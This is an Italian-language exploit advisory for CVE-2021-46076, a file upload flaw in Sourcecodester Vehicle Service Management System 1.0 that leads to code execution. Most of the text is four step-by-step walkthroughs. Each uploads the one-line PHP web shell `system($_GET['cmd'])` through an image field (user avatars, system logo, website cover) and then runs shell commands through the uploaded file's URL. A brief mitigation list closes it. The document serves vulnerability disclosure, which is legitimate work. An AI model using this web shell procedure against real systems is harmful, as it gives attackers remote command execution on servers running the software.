CVE-2021-46076
Exploit Title: Vehicle Service Management System - Caricamento multiplo di file porta all'esecuzione di codice
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
Riferimenti:
Descrizione:
Sourcecodester Vehicle Service Management System 1.0 è vulnerabile al caricamento di file. Un attaccante può caricare un file php malevolo su più endpoint, portando all'esecuzione di codice.
1. Vehicle Service Management System - 'Il mio account' (/admin/?page=user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Il mio account http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php di cui sopra, ad esempio Cmd.php
- Nella sezione Il mio account inserisci tutti i dettagli richiesti e seleziona il file php in Avatar.
- Fai clic sul pulsante Aggiorna.
- Apri l'immagine dell'avatar in una nuova scheda.
- Aggiungi il parametro cmd all'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
2. Vehicle Service Management System - 'Elenco utenti' (/admin/?page=user/manage_user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Elenco utenti e fai clic sul pulsante Crea nuovo.
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php di cui sopra, ad esempio Cmd.php
- Nella pagina Crea nuovo utente inserisci tutti i dettagli richiesti e seleziona il file php in Avatar.
- Fai clic sul pulsante Salva.
- Apri l'immagine dell'avatar in una nuova scheda.
- Aggiungi il parametro cmd all'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
3. Vehicle Service Management System - 'Impostazioni-Logo di sistema' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php di cui sopra, ad esempio Cmd.php
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e seleziona il file php in Logo di sistema.
- Fai clic sul pulsante Aggiorna.
- Apri l'immagine del Logo di sistema in una nuova scheda.
- Aggiungi il parametro cmd all'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
4. Vehicle Service Management System - 'Impostazioni-Copertina del sito web' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salva il codice php di cui sopra, ad esempio Cmd.php
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e seleziona il file php in Copertina del sito web.
- Fai clic sul pulsante Aggiorna.
- Apri l'immagine della Copertina del sito web in una nuova scheda.
- Aggiungi il parametro cmd all'URL ed esegui i comandi.
- URL finale: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Esegui tutti i comandi di sistema, ad esempio: id, whoami, pwd, ecc.
Impatto:
Un attaccante può caricare un file php malevolo su più endpoint, portando all'esecuzione di codice.
Mitigazione:
Si raccomanda di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro di whitelist.
- Se non è necessario avere caratteri Unicode, è altamente consigliato accettare solo caratteri alfanumerici e un solo punto come input per il nome del file e l'estensione.
- Limita la dimensione del file a un valore massimo per prevenire attacchi di denial of service.
- La directory di upload non dovrebbe avere alcun permesso di "esecuzione".
- Non affidarti solo alla validazione lato client.